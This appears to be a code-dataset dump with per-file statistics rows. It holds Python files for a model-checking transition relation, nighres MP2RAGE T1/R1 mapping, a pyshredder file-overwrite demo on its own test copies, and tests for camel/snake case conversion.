mgr.And(pcs[4], x_pcs[5]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, r_num), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 5 & pc' = 6) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = 1),
mgr.Implies(
mgr.And(pcs[5], x_pcs[6]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, ints[1]))),
# (pc = 6 & pc' = 7) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[6], x_pcs[7]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 6 & pc' = 24) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[6], x_pcs[24]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 7 & pc' = 8) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[7], x_pcs[8]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 7 & pc' = 11) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[7], x_pcs[11]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 8 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[8], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 8 & pc' = 9) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[8], x_pcs[9]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 9 & pc' = 10) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = num/den),
mgr.Implies(
mgr.And(pcs[9], x_pcs[10]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, mgr.Div(num, den)))),
# (pc = 10 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[10], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 11 & pc' = 20) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[11], x_pcs[20]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 11 & pc' = 12) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[11], x_pcs[12]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 12 & pc' = 13) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[12], x_pcs[13]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 12 & pc' = 16) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[12], x_pcs[16]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 13 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[13], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 13 & pc' = 14) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[13], x_pcs[14]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 14 & pc' = 15) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = num/den),
mgr.Implies(
mgr.And(pcs[14], x_pcs[15]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, mgr.Div(num, den)))),
# (pc = 15 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[15], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 16 & pc' = 17) -> (n_num' = n_num & num' = num*nmul & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[16], x_pcs[17]),
mgr.And(mgr.Equals(x_n_num, n_num),
mgr.Equals(x_num, mgr.Times(num, nmul)),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 17 & pc' = 18) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul-1 & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[17], x_pcs[18]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den),
mgr.Equals(x_nmul, mgr.Minus(nmul, ints[1])),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 18 & pc' = 19) -> (n_num' = n_num & num' = num & den' = den*dmul & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[18], x_pcs[19]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, mgr.Times(den, dmul)),
mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul),
mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))),
# (pc = 19 & pc' = 11) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul-1 & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[19], x_pcs[11]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, mgr.Minus(dmul, ints[1])),
mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))),
# (pc = 20 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[20], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 20 & pc' = 21) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[20], x_pcs[21]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 21 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[21], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 21 & pc' = 22) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[21], x_pcs[22]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 22 & pc' = 23) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = num/den),
mgr.Implies(
mgr.And(pcs[22], x_pcs[23]),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, mgr.Div(num, den)))),
# (pc = 23 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[23], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))),
# (pc = 24 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr),
mgr.Implies(
mgr.And(pcs[24], x_pcend),
mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num),
mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul),
mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num),
mgr.Equals(x_nCr, nCr))))
# transition relation.
trans = mgr.And(cfg, labels)
# fairness.
fairness = mgr.Not(pcend)
return symbols, init, trans, fairness
| 55.557951
| 142
| 0.495828
| 3,262
| 20,612
| 2.930104
| 0.029123
| 0.234463
| 0.258422
| 0.142812
| 0.830195
| 0.799435
| 0.792948
| 0.76334
| 0.750157
| 0.747646
| 0
| 0.030759
| 0.323355
| 20,612
| 370
| 143
| 55.708108
| 0.654549
| 0.251941
| 0
| 0.571429
| 0
| 0
| 0.00189
| 0
| 0
| 0
| 0
| 0
| 0.003484
| 1
| 0.003484
| false
| 0
| 0.013937
| 0
| 0.020906
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
9f105b4a1ec32e59598baa93a57604c97793398c
| 13,689
|
py
|
Python
|
nighres/intensity/mp2rage_t1_mapping.py
|
ahleighton/nighres
|
bc01463241a03a88569b3ba56e195127788b5639
|
[
"Apache-2.0"
] | 41
|
2017-08-15T12:23:31.000Z
|
2022-02-28T15:12:22.000Z
|
nighres/intensity/mp2rage_t1_mapping.py
|
ahleighton/nighres
|
bc01463241a03a88569b3ba56e195127788b5639
|
[
"Apache-2.0"
] | 130
|
2017-07-27T11:09:09.000Z
|
2022-03-31T10:05:07.000Z
|
nighres/intensity/mp2rage_t1_mapping.py
|
ahleighton/nighres
|
bc01463241a03a88569b3ba56e195127788b5639
|
[
"Apache-2.0"
] | 35
|
2017-08-17T17:05:41.000Z
|
2022-03-28T12:22:14.000Z
|
import numpy as np
import nibabel as nb
import os
import sys
import nighresjava
from ..io import load_volume, save_volume
from ..utils import _output_dir_4saving, _fname_4saving, \
_check_topology_lut_dir, _check_available_memory
def mp2rage_t1_mapping(first_inversion, second_inversion,
inversion_times, flip_angles, inversion_TR,
excitation_TR, N_excitations, efficiency=0.96,
correct_B1=False, B1_map=None, scale_phase=True,
save_data=False, overwrite=False, output_dir=None,
file_name=None):
""" MP2RAGE T1 mapping
Estimate T1/R1 by a look-up table method adapted from [1]_
Parameters
----------
first_inversion: [niimg]
List of {magnitude, phase} images for the first inversion
second_inversion: [niimg]
List of {magnitude, phase} images for the second inversion
inversion_times: [float]
List of {first, second} inversion times, in seconds
flip_angles: [float]
List of {first, second} flip angles, in degrees
inversion_TR: float
Inversion repetition time, in seconds
excitation_TR: [float]
List of {first,second} repetition times,in seconds
N_excitations: int
Number of excitations
efficiency: float
Inversion efficiency (default is 0.96)
correct_B1: bool
Whether to correct for B1 inhomogeneities (default is False)
B1_map: niimg
Computed B1 map
scale_phase: bool
Whether to rescale the phase image in [0,2PI] or to assume it is
already in radians
save_data: bool
Save output data to file (default is False)
overwrite: bool
Overwrite existing results (default is False)
output_dir: str, optional
Path to desired output directory, will be created if it doesn't exist
file_name: str, optional
Desired base name for output files with file extension
(suffixes will be added)
Returns
----------
dict
Dictionary collecting outputs under the following keys
(suffix of output files in brackets)
* t1 (niimg): Map of estimated T1 times (_qt1map-t1)
* r1 (niimg): Map of estimated R1 relaxation rate (_qt1map-r1)
* uni (niimg): Estimated PD weighted image at TE=0 (_qt1map-uni)
Notes
----------
Original Java module by Pierre-Louis Bazin.
References
----------
.. [1] Marques, Kober, Krueger, van der Zwaag, Van de Moortele, Gruetter (2010)
MP2RAGE, a self bias-field corrected sequence for improved segmentation
and T1-mapping at high field. doi: 10.1016/j.neuroimage.2009.10.002.
"""
print('\nT1 Mapping')
# make sure that saving related parameters are correct
if save_data:
output_dir = _output_dir_4saving(output_dir, first_inversion[0])
t1_file = os.path.join(output_dir,
_fname_4saving(module=__name__,file_name=file_name,
rootfile=first_inversion[0],
suffix='qt1map-t1'))
r1_file = os.path.join(output_dir,
_fname_4saving(module=__name__,file_name=file_name,
rootfile=first_inversion[0],
suffix='qt1map-r1'))
uni_file = os.path.join(output_dir,
_fname_4saving(module=__name__,file_name=file_name,
rootfile=first_inversion[0],
suffix='qt1map-uni'))
if overwrite is False \
and os.path.isfile(t1_file) \
and os.path.isfile(r1_file) \
and os.path.isfile(uni_file) :
output = {'t1': t1_file,
'r1': r1_file,
'uni': uni_file}
return output
# start virtual machine, if not already running
try:
mem = _check_available_memory()
nighresjava.initVM(initialheap=mem['init'], maxheap=mem['max'])
except ValueError:
pass
# create algorithm instance
qt1map = nighresjava.IntensityMp2rageT1Fitting()
# set algorithm parameters
qt1map.setFirstInversionTime(inversion_times[0])
qt1map.setSecondInversionTime(inversion_times[1])
qt1map.setFirstFlipAngle(flip_angles[0])
qt1map.setSecondFlipAngle(flip_angles[1])
qt1map.setInversionRepetitionTime(inversion_TR)
qt1map.setFirstExcitationRepetitionTime(excitation_TR[0])
qt1map.setSecondExcitationRepetitionTime(excitation_TR[1])
qt1map.setNumberExcitations(N_excitations)
qt1map.setInversionEfficiency(efficiency)
qt1map.setCorrectB1inhomogeneities(correct_B1)
# load first image and use it to set dimensions and resolution
img = load_volume(first_inversion[0])
data = img.get_data()
#data = data[0:10,0:10,0:10]
affine = img.affine
header = img.header
resolution = [x.item() for x in header.get_zooms()]
dimensions = data.shape
qt1map.setDimensions(dimensions[0], dimensions[1], dimensions[2])
qt1map.setResolutions(resolution[0], resolution[1], resolution[2])
# input images
qt1map.setFirstInversionMagnitude(nighresjava.JArray('float')(
(data.flatten('F')).astype(float)))
data = load_volume(first_inversion[1]).get_data()
qt1map.setFirstInversionPhase(nighresjava.JArray('float')(
(data.flatten('F')).astype(float)))
data = load_volume(second_inversion[0]).get_data()
qt1map.setSecondInversionMagnitude(nighresjava.JArray('float')(
(data.flatten('F')).astype(float)))
data = load_volume(second_inversion[1]).get_data()
qt1map.setSecondInversionPhase(nighresjava.JArray('float')(
(data.flatten('F')).astype(float)))
if (correct_B1):
data = load_volume(B1_map).get_data()
qt1map.setB1mapImage(nighresjava.JArray('float')(
(data.flatten('F')).astype(float)))
# execute the algorithm
try:
qt1map.execute()
except:
# if the Java module fails, reraise the error it throws
print("\n The underlying Java code did not execute cleanly: ")
print(sys.exc_info()[0])
raise
return
# reshape output to what nibabel likes
t1_data = np.reshape(np.array(qt1map.getQuantitativeT1mapImage(),
dtype=np.float32), dimensions, 'F')
r1_data = np.reshape(np.array(qt1map.getQuantitativeR1mapImage(),
dtype=np.float32), dimensions, 'F')
uni_data = np.reshape(np.array(qt1map.getUniformT1weightedImage(),
dtype=np.float32), dimensions, 'F')
# adapt header max for each image so that correct max is displayed
# and create nifiti objects
header['cal_min'] = np.nanmin(t1_data)
header['cal_max'] = np.nanmax(t1_data)
t1 = nb.Nifti1Image(t1_data, affine, header)
header['cal_min'] = np.nanmin(r1_data)
header['cal_max'] = np.nanmax(r1_data)
r1 = nb.Nifti1Image(r1_data, affine, header)
header['cal_min'] = np.nanmin(uni_data)
header['cal_max'] = np.nanmax(uni_data)
uni = nb.Nifti1Image(uni_data, affine, header)
if save_data:
save_volume(t1_file, t1)
save_volume(r1_file, r1)
save_volume(uni_file, uni)
return {'t1': t1_file, 'r1': r1_file, 'uni': uni_file}
else:
return {'t1': t1, 'r1': r1, 'uni': uni}
def mp2rage_t1_from_uni(uniform_image,
inversion_times, flip_angles, inversion_TR,
excitation_TR, N_excitations, efficiency=0.96,
correct_B1=False, B1_map=None, scale_phase=True,
save_data=False, overwrite=False, output_dir=None,
file_name=None):
""" MP2RAGE uniform image to T1 mapping
Estimate T1/R1 by a look-up table method adapted from [1]_
Parameters
----------
uniform_image: niimg
Uniform image computed from first and second inversion
inversion_times: [float]
List of {first, second} inversion times, in seconds
flip_angles: [float]
List of {first, second} flip angles, in degrees
inversion_TR: float
Inversion repetition time, in seconds
excitation_TR: [float]
List of {first,second} repetition times,in seconds
N_excitations: int
Number of excitations
efficiency: float
Inversion efficiency (default is 0.96)
correct_B1: bool
Whether to correct for B1 inhomogeneities (default is False)
B1_map: niimg
Computed B1 map
scale_phase: bool
Whether to rescale the phase image in [0,2PI] or to assume it is
already in radians
save_data: bool
Save output data to file (default is False)
overwrite: bool
Overwrite existing results (default is False)
output_dir: str, optional
Path to desired output directory, will be created if it doesn't exist
file_name: str, optional
Desired base name for output files with file extension
(suffixes will be added)
Returns
----------
dict
Dictionary collecting outputs under the following keys
(suffix of output files in brackets)
* t1 (niimg): Map of estimated T1 times (_qt1map-t1)
* r1 (niimg): Map of estimated R1 relaxation rate (_qt1map-r1)
Notes
----------
Original Java module by Pierre-Louis Bazin.
References
----------
.. [1] Marques, Kober, Krueger, van der Zwaag, Van de Moortele, Gruetter (2010)
MP2RAGE, a self bias-field corrected sequence for improved segmentation
and T1-mapping at high field. doi: 10.1016/j.neuroimage.2009.10.002.
"""
print('\nT1 Mapping')
# make sure that saving related parameters are correct
if save_data:
output_dir = _output_dir_4saving(output_dir, uniform_image)
t1_file = os.path.join(output_dir,
_fname_4saving(module=__name__,file_name=file_name,
rootfile=uniform_image,
suffix='qt1map-t1'))
r1_file = os.path.join(output_dir,
_fname_4saving(module=__name__,file_name=file_name,
rootfile=uniform_image,
suffix='qt1map-r1'))
if overwrite is False \
and os.path.isfile(t1_file) \
and os.path.isfile(r1_file) :
output = {'t1': t1_file,
'r1': r1_file}
return output
# start virtual machine, if not already running
try:
mem = _check_available_memory()
nighresjava.initVM(initialheap=mem['init'], maxheap=mem['max'])
except ValueError:
pass
# create algorithm instance
qt1map = nighresjava.IntensityMp2rageT1Fitting()
# set algorithm parameters
qt1map.setFirstInversionTime(inversion_times[0])
qt1map.setSecondInversionTime(inversion_times[1])
qt1map.setFirstFlipAngle(flip_angles[0])
qt1map.setSecondFlipAngle(flip_angles[1])
qt1map.setInversionRepetitionTime(inversion_TR)
qt1map.setFirstExcitationRepetitionTime(excitation_TR[0])
qt1map.setSecondExcitationRepetitionTime(excitation_TR[1])
qt1map.setNumberExcitations(N_excitations)
qt1map.setInversionEfficiency(efficiency)
qt1map.setCorrectB1inhomogeneities(correct_B1)
# load first image and use it to set dimensions and resolution
img = load_volume(uniform_image)
data = img.get_data()
#data = data[0:10,0:10,0:10]
affine = img.affine
header = img.header
resolution = [x.item() for x in header.get_zooms()]
dimensions = data.shape
qt1map.setDimensions(dimensions[0], dimensions[1], dimensions[2])
qt1map.setResolutions(resolution[0], resolution[1], resolution[2])
# input images
qt1map.setUniformImage(nighresjava.JArray('float')(
(data.flatten('F')).astype(float)))
if (correct_B1):
data = load_volume(B1_map).get_data()
qt1map.setB1mapImage(nighresjava.JArray('float')(
(data.flatten('F')).astype(float)))
# execute the algorithm
try:
qt1map.execute()
except:
# if the Java module fails, reraise the error it throws
print("\n The underlying Java code did not execute cleanly: ")
print(sys.exc_info()[0])
raise
return
# reshape output to what nibabel likes
t1_data = np.reshape(np.array(qt1map.getQuantitativeT1mapImage(),
dtype=np.float32), dimensions, 'F')
r1_data = np.reshape(np.array(qt1map.getQuantitativeR1mapImage(),
dtype=np.float32), dimensions, 'F')
# adapt header max for each image so that correct max is displayed
# and create nifiti objects
header['cal_min'] = np.nanmin(t1_data)
header['cal_max'] = np.nanmax(t1_data)
t1 = nb.Nifti1Image(t1_data, affine, header)
header['cal_min'] = np.nanmin(r1_data)
header['cal_max'] = np.nanmax(r1_data)
r1 = nb.Nifti1Image(r1_data, affine, header)
if save_data:
save_volume(t1_file, t1)
save_volume(r1_file, r1)
return {'t1': t1_file, 'r1': r1_file}
else:
return {'t1': t1, 'r1': r1}
| 37.401639
| 83
| 0.622398
| 1,603
| 13,689
| 5.157205
| 0.167187
| 0.017419
| 0.014516
| 0.022015
| 0.91835
| 0.91206
| 0.906012
| 0.89827
| 0.892464
| 0.875529
| 0
| 0.031659
| 0.284681
| 13,689
| 365
| 84
| 37.50411
| 0.812602
| 0.331215
| 0
| 0.78453
| 0
| 0
| 0.039094
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.01105
| false
| 0.01105
| 0.038674
| 0
| 0.093923
| 0.033149
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9f47b279129d4846a10c9026df82468c0fc3ec2e
| 1,255
|
py
|
Python
|
example/ex_eraser.py
|
zoumingzhe/FileShredder
|
e9488370a819ccd8d734bde54a14523959371d3e
|
[
"MIT"
] | null | null | null |
example/ex_eraser.py
|
zoumingzhe/FileShredder
|
e9488370a819ccd8d734bde54a14523959371d3e
|
[
"MIT"
] | null | null | null |
example/ex_eraser.py
|
zoumingzhe/FileShredder
|
e9488370a819ccd8d734bde54a14523959371d3e
|
[
"MIT"
] | null | null | null |
import os
from ztools import fbasic
from pyshredder import eraser
f = fbasic()
e = eraser()
old_path = '.\\ex_file\\eraser_testfile.txt'
f.ensure('.\\ex_file\\eraser')
new_path = '.\\ex_file\\eraser\\eraser_testfile1.txt'
f.copy(old_path, new_path)
print("before file size:", os.path.getsize(new_path))
e.random(new_path)
print("after file size:", os.path.getsize(new_path))
new_path = '.\\ex_file\\eraser\\eraser_testfile2.txt'
f.copy(old_path, new_path)
print("before file size:", os.path.getsize(new_path))
e.random_block(new_path)
print("after file size:", os.path.getsize(new_path))
new_path = '.\\ex_file\\eraser\\eraser_testfile3.txt'
f.copy(old_path, new_path)
print("before file size:", os.path.getsize(new_path))
e.fill(new_path)
print("after file size:", os.path.getsize(new_path))
new_path = '.\\ex_file\\eraser\\eraser_testfile4.txt'
f.copy(old_path, new_path)
print("before file size:", os.path.getsize(new_path))
e.fill(new_path, [1])
print("after file size:", os.path.getsize(new_path))
new_path = '.\\ex_file\\eraser\\eraser_testfile5.txt'
f.copy(old_path, new_path)
print("before file size:", os.path.getsize(new_path))
e.fill(new_path, [1, 2, 3, 4, 5])
print("after file size:", os.path.getsize(new_path))
input("ๆๅ่ฝฆ๏ผEnter๏ผ็ปง็ปญ")
| 29.880952
| 53
| 0.732271
| 217
| 1,255
| 4.02765
| 0.184332
| 0.200229
| 0.114416
| 0.160183
| 0.784897
| 0.784897
| 0.756293
| 0.756293
| 0.756293
| 0.712815
| 0
| 0.009565
| 0.083665
| 1,255
| 41
| 54
| 30.609756
| 0.750435
| 0
| 0
| 0.454545
| 0
| 0
| 0.339442
| 0.184064
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.090909
| 0
| 0.090909
| 0.30303
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e255f4fbcf38cc3020404481db9cfe2d6c4be3c0
| 732
|
py
|
Python
|
tests/unit/test_resources.py
|
LimaGuilherme/flask-boilerplate
|
4053dd2d24937d405fedcd839e15d2cc45d87f01
|
[
"MIT"
] | null | null | null |
tests/unit/test_resources.py
|
LimaGuilherme/flask-boilerplate
|
4053dd2d24937d405fedcd839e15d2cc45d87f01
|
[
"MIT"
] | null | null | null |
tests/unit/test_resources.py
|
LimaGuilherme/flask-boilerplate
|
4053dd2d24937d405fedcd839e15d2cc45d87f01
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from tests.unit import base
from app import resources
class CasingTest(base.TestCase):
def test_should_convert_camel_to_snake(self):
self.assertEqual(resources.ResourceBase.camel_to_snake('getThisSnaked'), 'get_this_snaked')
def test_should_convert_snake_to_camel(self):
self.assertEqual(resources.ResourceBase.snake_to_camel('get_this_camelled'), 'getThisCamelled')
def test_should_convert_snake_upper_to_camel(self):
self.assertEqual(resources.ResourceBase.snake_to_camel('GET_THIS_CAMELLED'), 'getThisCamelled')
def test_should_convert_pascal_to_snake(self):
self.assertEqual(resources.ResourceBase.camel_to_snake('GetThisSnaked'), 'get_this_snaked')
| 38.526316
| 103
| 0.782787
| 93
| 732
| 5.763441
| 0.333333
| 0.052239
